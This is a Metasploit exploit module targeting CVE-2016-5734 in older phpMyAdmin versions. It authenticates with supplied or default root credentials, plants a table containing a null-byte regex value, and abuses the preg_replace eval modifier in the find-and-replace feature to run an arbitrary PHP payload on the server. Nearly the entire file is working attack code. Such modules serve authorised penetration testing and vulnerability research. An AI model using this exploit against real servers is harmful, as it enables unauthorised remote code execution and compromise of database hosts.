##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'phpMyAdmin Authenticated Remote Code Execution',
      'Description'     => %q{
        phpMyAdmin 4.0.x before 4.0.10.16, 4.4.x before 4.4.15.7, and 4.6.x before
        4.6.3 does not properly choose delimiters to prevent use of the preg_replace
        (aka eval) modifier, which might allow remote attackers to execute arbitrary
        PHP code via a crafted string, as demonstrated by the table search-and-replace
        implementation.
      },
      'Author' =>
        [
          'Michal Čihař and Cure53', # Discovery
          'Matteo Cantoni <goony[at]nothink.org>' # Metasploit Module
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          [ 'BID', '91387' ],
          [ 'CVE', '2016-5734' ],
          [ 'CWE', '661' ],
          [ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2016-27/' ],
          [ 'URL', 'https://security.gentoo.org/glsa/201701-32' ],
          [ 'EDB', '40185' ],
        ],
      'Privileged'  => true,
      'Platform'  => [ 'php' ],
      'Arch'  => ARCH_PHP,
      'Payload' =>
        {
          'BadChars' => "&\n=+%",
        },
      'Targets' =>
        [
          [ 'Automatic', {} ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2016-06-23'))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
        OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
        OptString.new('PASSWORD', [ false, "Password to authenticate with", '']),
        OptString.new('DATABASE', [ true, "Existing database at a server", 'phpmyadmin'])
      ])
  end

  def check
    begin
      res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') })
    rescue
      print_error("#{peer} - Unable to connect to server")
      return Exploit::CheckCode::Unknown
    end

    if res.nil? || res.code != 200
      print_error("#{peer} - Unable to query /js/messages.php")
      return Exploit::CheckCode::Unknown
    end

    # PHP 4.3.0-5.4.6
    # PHP > 5.4.6 not exploitable because null byte in regexp warning
    php_version = res['X-Powered-By']
    if php_version
      vprint_status("#{peer} - PHP version: #{php_version}")

      if php_version =~ /PHP\/(\d+\.\d+\.\d+)/
        version = Rex::Version.new($1)
        vprint_status("#{peer} - PHP version: #{version.to_s}")
        if version > Rex::Version.new('5.4.6')
          return Exploit::CheckCode::Safe
        end
      end
    else
      vprint_status("#{peer} - Unknown PHP version")
    end

    # 4.3.0 - 4.6.2 authorized user RCE exploit
    if res.body =~ /pmaversion = '(\d+\.\d+\.\d+)';/
      version = Rex::Version.new($1)
      vprint_status("#{peer} - phpMyAdmin version: #{version.to_s}")

      if version >= Rex::Version.new('4.3.0') and version <= Rex::Version.new('4.6.2')
        return Exploit::CheckCode::Appears
      elsif version < Rex::Version.new('4.3.0')
        return Exploit::CheckCode::Detected
      end
      return Exploit::CheckCode::Safe
    end

    return Exploit::CheckCode::Unknown
  end

  def exploit
    return unless check == Exploit::CheckCode::Appears

    uri = target_uri.path
    vprint_status("#{peer} - Grabbing CSRF token...")

    response = send_request_cgi({ 'uri' => uri})

    if response.nil?
      fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token")
    elsif (response.body !~ /"token"\s*value="([^"]*)"/)
      fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
    end

    token = $1
    vprint_status("#{peer} - Retrieved token #{token}")

    vprint_status("#{peer} - Authenticating...")
    login = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'index.php'),
      'vars_post' => {
        'token' => token,
        'pma_username' => datastore['USERNAME'],
        'pma_password' => datastore['PASSWORD']
      }
    })

    if login.nil?
      fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
    elsif login.redirect?
      token = login.redirection.to_s.scan(/token=(.*)[&|$]/).flatten.first
    else
      fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Wrong phpMyAdmin version?")
    end

    cookies = login.get_cookies

    login_check = send_request_cgi({
      'uri' => normalize_uri(uri, 'index.php'),
      'vars_get' => { 'token' => token },
      'cookie' => cookies
    })

    if login_check.nil?
      fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
    elsif login_check.body =~ /Welcome to/
      fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
    end

    vprint_status("#{peer} - Authentication successful")

    # Create random table and column
    rand_table = Rex::Text.rand_text_alpha_lower(3+rand(3))
    rand_column = Rex::Text.rand_text_alpha_lower(3+rand(3))
    sql_value = '0%2Fe%00'

    vprint_status("#{peer} - Create random table '#{rand_table}' into '#{datastore['DATABASE']}' database...");

    create_rand_table = send_request_cgi({
      'uri' => normalize_uri(uri, 'import.php'),
      'method' => 'POST',
      'cookie' => cookies,
      'encode_params' => false,
      'vars_post' => {
        'show_query' => '0',
        'ajax_request' => 'true',
        'db' => datastore['DATABASE'],
        'pos' => '0',
        'is_js_confirmed' => '0',
        'fk_checks' => '0',
        'sql_delimiter' => ';',
        'token' => token,
        'SQL' => 'Go',
        'ajax_page_request' => 'true',
        'sql_query' => "CREATE+TABLE+`#{rand_table}`+( ++++++`#{rand_column}`+varchar(10)+CHARACTER+SET"\
                    "+utf8+NOT+NULL ++++)+ENGINE=InnoDB+DEFAULT+CHARSET=latin1; ++++INSERT+INTO+`#{rand_table}`+"\
                    "(`#{rand_column}`)+VALUES+('#{sql_value}'); ++++",
      }
    })

    if create_rand_table.nil? || create_rand_table.body =~ /(.*)<code>\\n(.*)\\n<\\\/code>(.*)/i
      fail_with(Failure::Unknown, "#{peer} - Failed to create a random table")
    end

    vprint_status("#{peer} - Random table created")

    # Execute command
    command = Rex::Text.uri_encode(payload.encoded)

    exec_cmd = send_request_cgi({
      'uri' => normalize_uri(uri, 'tbl_find_replace.php'),
      'method' => 'POST',
      'cookie' => cookies,
      'encode_params' => false,
      'vars_post' =>{
        'columnIndex' => '0',
        'token' => token,
        'submit' => 'Go',
        'ajax_request' => 'true',
        'goto' => 'sql.php',
        'table' => rand_table,
        'replaceWith' => "eval%28%22#{command}%22%29%3B",
        'db' => datastore['DATABASE'],
        'find' => sql_value,
        'useRegex' => 'on'
      }
    })

    # Remove random table
    vprint_status("#{peer} - Remove the random table '#{rand_table}' from '#{datastore['DATABASE']}' database")

    rm_table = send_request_cgi({
      'uri' => normalize_uri(uri, 'import.php'),
      'method' => 'POST',
      'cookie' => cookies,
      'encode_params' => false,
      'vars_post' => {
        'show_query' => '0',
        'ajax_request' => 'true',
        'db' => datastore['DATABASE'],
        'pos' => '0',
        'is_js_confirmed' => '0',
        'fk_checks' => '0',
        'sql_delimiter' => ';',
        'token' => token,
        'SQL' => 'Go',
        'ajax_page_request' => 'true',
        'sql_query' => "DROP+TABLE+`#{rand_table}`"
      }
    })

    if rm_table.nil? || rm_table.body !~ /(.*)MySQL returned an empty result set \(i.e. zero rows\).(.*)/i
      print_bad("#{peer} - Failed to remove the table '#{rand_table}'")
    end
  end
end
